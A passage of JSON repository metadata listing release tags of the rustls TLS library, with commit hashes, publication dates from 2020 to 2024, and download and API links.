b5ec40c8e5fe8","kind":"tag","published_at":"2024-06-13T15:24:14.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.23.10","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.23.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.23.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.10/manifests"},{"name":"v/0.23.9","sha":"e754234b64d7724769c458b085a59a4f8ea782e2","kind":"commit","published_at":"2024-06-03T14:54:43.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.23.9","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.23.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.23.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.9/manifests"},{"name":"v/0.23.8","sha":"99abca5e4965340cf6d96eaefd64452281376063","kind":"commit","published_at":"2024-05-23T12:46:38.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.23.8","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.23.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.23.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.8/manifests"},{"name":"v/0.23.7","sha":"e45fec43e1b200b5b206d61ffb6aac8289cb014f","kind":"commit","published_at":"2024-05-17T17:26:06.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.23.7","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.23.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.23.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.7/manifests"},{"name":"v/0.23.6","sha":"06dc1d540cc0a28941790430a37788fd04db956e","kind":"commit","published_at":"2024-05-16T15:00:54.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.23.6","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.23.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.23.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.6/manifests"},{"name":"v/0.21.12","sha":"3633152cc557cceadb0f71fa7226e6051fb6a9ee","kind":"tag","published_at":"2024-04-26T14:49:19.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.21.12","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.21.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.21.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.21.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.21.12/manifests"},{"name":"v/0.21.11","sha":"7b8d1dbc1e666dc4d83640c64e96d257d39cfda4","kind":"commit","published_at":"2024-04-19T15:01:59.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.21.11","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.21.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.21.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.21.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.21.11/manifests"},{"name":"v/0.22.4","sha":"ae277befb5061bbd4c44fea1c2697f2da5b2f6fa","kind":"commit","published_at":"2024-04-19T15:01:47.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.22.4","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.22.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.22.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.22.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.22.4/manifests"},{"name":"v/0.23.5","sha":"14cb5d2eac709f6c9bd46c697f090bb1f1543db1","kind":"commit","published_at":"2024-04-19T15:01:19.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.23.5","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.23.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.23.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.5/manifests"},{"name":"v/0.23.4","sha":"1dee8b13134d877ade94dda7b68c7bf072e18d62","kind":"commit","published_at":"2024-03-25T14:57:41.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.23.4","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.23.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.23.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.4/manifests"},{"name":"v/0.22.3","sha":"a1e28cd1a4b50848e2c304322da33218fc00c8b4","kind":"commit","published_at":"2024-03-25T14:23:58.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.22.3","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.22.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.22.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.22.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.22.3/manifests"},{"name":"v/0.23.3","sha":"5ce0a1712834bda4c3704540676bf06a4a967f74","kind":"commit","published_at":"2024-03-20T16:56:05.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.23.3","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.23.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.23.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.3/manifests"},{"name":"rustls-post-quantum-v/0.1.0","sha":"9a911841cd073244e995015fd52e0e5d6797c6c7","kind":"commit","published_at":"2024-03-13T17:18:59.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/rustls-post-quantum-v/0.1.0","html_url":"https://github.com/rustls/rustls/releases/tag/rustls-post-quantum-v/0.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@rustls-post-quantum-v%2F0.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/rustls-post-quantum-v%2F0.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/rustls-post-quantum-v%2F0.1.0/manifests"},{"name":"v/0.23.2","sha":"bbef4b3ea72e610c8afad8d33706ee2e0e6a3c47","kind":"commit","published_at":"2024-03-13T16:41:33.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.23.2","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.23.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.23.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.2/manifests"},{"name":"v/0.23.1","sha":"546a85d91277a1009d199aa1e2829ecf153e2631","kind":"commit","published_at":"2024-03-01T15:25:48.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.23.1","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.23.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.23.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.1/manifests"},{"name":"v/0.23.0","sha":"eb0791bc94cfdc4c42f743902a35074ce58ced11","kind":"commit","published_at":"2024-02-29T14:57:47.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.23.0","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.23.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.23.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.23.0/manifests"},{"name":"v/0.22.2","sha":"5cd41a3d4f1f0648f2e1e8e8356c19731b3360c4","kind":"commit","published_at":"2024-01-08T11:09:44.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.22.2","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.22.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.22.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.22.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.22.2/manifests"},{"name":"v/0.22.1","sha":"62751aa20df150ade6f9a0ffc9498a075c81452a","kind":"tag","published_at":"2023-12-08T14:05:51.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.22.1","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.22.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.22.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.22.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.22.1/manifests"},{"name":"v/0.21.10","sha":"cf6aa80cbfb1f18e308138fdd59ac8255ac931ce","kind":"tag","published_at":"2023-12-08T13:52:43.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.21.10","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.21.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.21.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.21.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.21.10/manifests"},{"name":"v/0.22.0","sha":"4d1b762b5328a1714862ba73ec72d5522fe0c049","kind":"commit","published_at":"2023-12-01T19:10:46.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.22.0","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.22.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.22.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.22.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.22.0/manifests"},{"name":"v/0.21.9","sha":"bbd9abca106c68ab01c385a1bb7399be46cee9c0","kind":"tag","published_at":"2023-11-16T15:32:33.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.21.9","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.21.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.21.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.21.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.21.9/manifests"},{"name":"v/0.21.8","sha":"c34477a068b340473dd654d1b25d6fac71e0c570","kind":"tag","published_at":"2023-10-24T13:40:21.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.21.8","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.21.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.21.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.21.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.21.8/manifests"},{"name":"v/0.2.0","sha":"0f3121a1ca61e428674fb51deea43f7c5d0c3597","kind":"tag","published_at":"2023-09-07T09:59:17.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.2.0","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.2.0/manifests"},{"name":"v/0.20.9","sha":"d1345fc39ad597e27e6355341d2b2b40c501625b","kind":"tag","published_at":"2023-08-28T21:35:55.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.20.9","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.20.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.20.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.20.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.20.9/manifests"},{"name":"v/0.21.7","sha":"c9cfe3499681361372351a57a00ccd793837ae9c","kind":"tag","published_at":"2023-08-28T20:44:18.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.21.7","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.21.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.21.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.21.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.21.7/manifests"},{"name":"v/0.21.6","sha":"40e4b5d6428edcac2275b547edb70e028beb9f31","kind":"tag","published_at":"2023-08-02T12:20:55.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.21.6","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.21.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.21.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.21.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.21.6/manifests"},{"name":"v/0.21.5","sha":"b1808ac5a89ae7c693f5e7d7b8f9336fa0f7d615","kind":"tag","published_at":"2023-07-10T18:49:16.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.21.5","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.21.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.21.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.21.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.21.5/manifests"},{"name":"v/0.21.4","sha":"f613c9f060cb84918fb85b8c8482d740724dbb11","kind":"tag","published_at":"2023-07-10T16:12:50.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.21.4","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.21.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.21.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.21.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.21.4/manifests"},{"name":"v/0.21.3","sha":"e99b3d19b3f96bc7bdd126d7062adf41e95ab889","kind":"tag","published_at":"2023-07-06T13:19:32.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.21.3","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.21.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.21.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.21.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.21.3/manifests"},{"name":"v/0.21.2","sha":"5053fde25bb0fde5715a95601a62c8fae626600e","kind":"tag","published_at":"2023-06-14T15:20:31.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.21.2","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.21.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.21.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.21.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.21.2/manifests"},{"name":"v/0.21.1","sha":"975e1ca5949b73d43f922aea8a248b96bfcfae74","kind":"tag","published_at":"2023-05-01T19:10:34.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.21.1","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.21.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.21.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.21.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.21.1/manifests"},{"name":"v/0.21.0","sha":"45197b807cf0699c842fcb85eb8eca555c74cc04","kind":"tag","published_at":"2023-03-29T17:33:47.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.21.0","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.21.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.21.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.21.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.21.0/manifests"},{"name":"v/0.21.0-alpha.1","sha":"411a65d7367bed6e5c90ed4bfa000334536e68ae","kind":"tag","published_at":"2023-01-30T09:08:33.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.21.0-alpha.1","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.21.0-alpha.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.21.0-alpha.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.21.0-alpha.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.21.0-alpha.1/manifests"},{"name":"v/0.20.8","sha":"9b5bb50d9df22a2d2155a7bf35155a24824c40a6","kind":"tag","published_at":"2023-01-12T16:53:29.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.20.8","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.20.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.20.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.20.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.20.8/manifests"},{"name":"v/0.20.7","sha":"a863fc554aca02533a422dc228bcc938d20a721f","kind":"tag","published_at":"2022-10-18T13:21:40.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.20.7","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.20.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.20.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.20.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.20.7/manifests"},{"name":"v/0.20.6","sha":"c6dcb4c0c63caf503bff80f07182ded0426107ed","kind":"tag","published_at":"2022-05-18T07:53:27.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.20.6","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.20.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.20.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.20.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.20.6/manifests"},{"name":"v/0.20.5","sha":"34ad3ab00effa88b5da675788d48a8f88fb8fc36","kind":"tag","published_at":"2022-05-14T17:14:42.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.20.5","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.20.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.20.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.20.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.20.5/manifests"},{"name":"v/0.20.4","sha":"8e5968f0a25b6319488d22dcd67bab62dfb4f713","kind":"tag","published_at":"2022-02-19T08:26:36.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.20.4","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.20.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.20.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.20.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.20.4/manifests"},{"name":"v/0.20.3","sha":"5bda754ac18f37eb39132f89fb5522494b6202eb","kind":"tag","published_at":"2022-02-13T16:55:53.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.20.3","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.20.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.20.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.20.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.20.3/manifests"},{"name":"v/0.20.2","sha":"23c5b693a25c12ba3b89f4529583d2e5ae156160","kind":"tag","published_at":"2021-11-21T10:36:04.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.20.2","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.20.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.20.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.20.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.20.2/manifests"},{"name":"v/0.20.1","sha":"a82eb95e9ee3bb9b19bbda9468d0bec33ce9681c","kind":"tag","published_at":"2021-11-14T16:47:08.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.20.1","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.20.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.20.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.20.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.20.1/manifests"},{"name":"v/0.20.0","sha":"bc754a4fbb586beb7b1dfce38ab880fd90c0e422","kind":"tag","published_at":"2021-09-26T10:27:08.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.20.0","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.20.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.20.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.20.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.20.0/manifests"},{"name":"v/0.20.0-beta2","sha":"79b48e3d4adecc8262811ab781477ad24c09f496","kind":"tag","published_at":"2021-07-04T10:55:52.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.20.0-beta2","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.20.0-beta2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.20.0-beta2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.20.0-beta2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.20.0-beta2/manifests"},{"name":"v/0.20.0-beta1","sha":"999050b4c8d934bd3fa319fe98c344267e663e5c","kind":"tag","published_at":"2021-07-04T10:46:40.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.20.0-beta1","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.20.0-beta1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.20.0-beta1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.20.0-beta1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.20.0-beta1/manifests"},{"name":"v/0.19.1","sha":"3c390ef7c459cc1ef2504bd9d1fefdcb7eea1c20","kind":"tag","published_at":"2021-04-17T07:39:10.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.19.1","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.19.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.19.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.19.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.19.1/manifests"},{"name":"v/0.19.0","sha":"47d309233f2d21ccf058d35c58d684e5e4c9c643","kind":"tag","published_at":"2020-11-22T13:26:43.000Z","download_url":"https://codeload.github.com/rustls/rustls/tar.gz/v/0.19.0","html_url":"https://github.com/rustls/rustls/releases/tag/v/0.19.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustls/rustls@v%2F0.19.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustls%2Frustls/tags/v%2F0.19.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/